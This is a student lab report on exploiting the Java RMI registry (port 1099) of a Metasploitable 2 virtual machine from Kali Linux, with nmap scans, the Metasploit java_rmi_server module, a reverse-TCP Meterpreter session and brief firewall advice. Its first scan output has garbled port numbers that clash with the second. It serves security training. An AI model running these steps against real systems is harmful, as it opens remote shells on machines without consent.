



# REPORT

## *UNIT 2 / Week 7*

Exploit - Java RMI (port 1099)



# Index

Settings Virtual Machines	3
Port Scanning to search vulnerabilities	4
Using Metasploit tool to exploit	6
Conclusions	10

# Settings Virtual Machines

Metasploitable 2 IP: 192.168.11.112

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified
This file describes the network interfaces available on your system
and how to activate them. For more information, see interfaces(5).

The loopback network interface
auto lo
iface lo inet loopback

The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1

Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?
Y Yes
N No      C Cancel
```

Virtual Machine used like a Target to exploit  
a vulnerability

Kali Linux IP: 192.168.11.111

```
kali@kali:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0  broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fe3:4c04  prefixlen 64  scopeid 0x20<link>
    ether 08:00:27:f3:4c:04  txqueuelen 1000  (Ethernet)
    RX packets 4  bytes 1115 (1.0 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 20  bytes 2704 (2.6 KiB)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1  prefixlen 128  scopeid 0x10<host>
    loop txqueuelen 1000  (Local Loopback)
    RX packets 4  bytes 240 (240.0 B)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 4  bytes 240 (240.0 B)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

Virtual Machine used like an Attacker

# Port Scanning to search vulnerabilities

Use the tool NMAP on Kali CLI interface to running a port scan and analyze the informations.

Command: #

nmap, use the tool to scanning port .  
-p -- min-rate 1000, filter the number of port that we want see .  
-sV, command to find the service located at port and display the version .  
192.168.11.112, IP Target .

```

root@kali:~/home/kali#
[sudo] password for kali:
root@kali:~/home/kali#
root@kali:~/home/kali# nmap -p --min-rate 1000 -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 04:51 EST
Nmap scan report for 192.168.11.112
Host is up (0.00033s latency).
Not shown: 65585 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache/2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login        Netkit rshd
514/tcp   open  shell        Netkit rshd
1899/tcp  open  java-rmi     GNU Classpath gmicregistry
3224/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100001)
2121/tcp  open  ftp          ProFTPD 1.3.1
2380/tcp  open  mysql        MySQL 5.0.33a-Subuntu5
2632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu3))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  cnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8080/tcp  open  ajp133       Apache Tomcat/Coyote JSP engine 1.1
8180/tcp  open  http         Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
8787/tcp  open  drb          Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
38363/tcp open  mountd       1-3 (RPC #100005)
40952/tcp open  java-rmi     GNU Classpath gmicregistry
49005/tcp open  nlockmgr     1-4 (RPC #100021)
54731/tcp open  status       1 (RPC #100023)
NMC Address: 8816027728a1118 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.metasploitable.IAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 188.62 seconds
root@kali:~/home/kali#

```

# Port Scanning to search vulnerabilities

After using the nmap tool, we'll find the service that we want exploit.

The highlighted in yellow words are what we want:

- port, 1099/tcp
- state, OPEN
- service, Java-RMI
- version, GNU Classpath grmiregistry

```

Applications
[sudo] password for kali:
root@kali: ~/home/kali
root@kali: ~/home/kali
nmap -p- --min-rate 1000 -v 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 04:51 EST
Nmap scan report for 192.168.11.112
Host is up (0.00033s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rshexec
513/tcp   open  login          Netkit rshd
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-Jubuntu5
3632/tcp  open  distccd        distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-Jubuntu4))
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
6697/tcp  open  irc            UnrealIRCd
8080/tcp  open  ajp13?         Apache Tomcat/Coyote JSP engine 1.1
8180/tcp  open  http           Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
8787/tcp  open  drb            Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
38363/tcp open  mountd         1-3 (RPC #100005)
48953/tcp open  java-rmi       GNU Classpath grmiregistry
49005/tcp open  nlockmgr       1-4 (RPC #100021)
54731/tcp open  status         1 (RPC #100024)
MAC Address: 08:00:27:08:41:18 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 188.62 seconds
  
```

# Using Metasploit tool to exploit

Let's start with opening msfconsole in Kali

```
msfconsole
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

IIIIII  dTb.dTb
II      4'  v  'B
II      6.   .P
II      'T; .;P'
II      'T; ;P'
IIIIII  'YvP'

I love shells --egypt

+ -- ==[ metasploit v6.3.55-dev ]
+ -- ==[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

Search vulnerability with words: “java rmi” and see the results

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration <a href="#">Java</a> Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration <a href="#">Java</a> Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI <a href="#">RMI</a> <a href="#">Java</a> Deserialization Vulnerability
10	exploit/linux/http/kibana_timelion_prototype_pollution_rce	2019-10-30	manual	Yes	Kibana Timelion Prototype Pollution RCE
11	exploit/multi/browser/firefox_xpi_bootstrap_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
12	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
13	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
14	exploit/multi/http/totaljs_cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget <a href="#">JavaScript</a> Code Injection
15	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScale Priv Esc

# Using Metasploit tool to exploit

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > |
```

Use the 4th path in the list

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8888	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
--      -
LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)

```

With command “show options” we see all the info needed to execute the exploit.

We need a IP target that the tool named RHOSTS

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > |
```

Command to set IP Target

# Using Metasploit tool to exploit

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/rjtjiVyrms46EVM
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:56111) at 2024-03-10 17:09:57 +0000
```

To run an exploit use command “exploit”.

Metasploit is the framework but we use the payload that is in Meterpreter, in fact the session is opened with Meterpreter.

In the picture we can see that the session is opened and we are already use the exploit with success.



# Using Metasploit tool to exploit

After established a session with Meterpreter we are in Target and we can run anything.

To confirm that we are in let's run some commands to verify IP and route

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fef0:6e02	::	::		

```
meterpreter > ifconfig
```

Interface 1

```
Name           : lo - lo
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 127.0.0.1
IPv4 Netmask    : 255.0.0.0
IPv6 Address    : ::1
IPv6 Netmask    : ::
```

Interface 2

```
Name           : eth0 - eth0
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 192.168.11.112
IPv4 Netmask    : 255.255.255.0
IPv6 Address    : fe80::a00:27ff:fef0:6e02
IPv6 Netmask    : ::
```

# Conclusions

In this case we see how easy is runs an exploit with java rmi.

The best practice is maintain the port closed or insert in a firewall a rule to manage the accesses in this port.

To avoid all problem, try to do:

- a regular vulnerability assessment
- maintain the services updates on server
- keep logged the access in the network
- implement a firewall system
- maintain firewall update

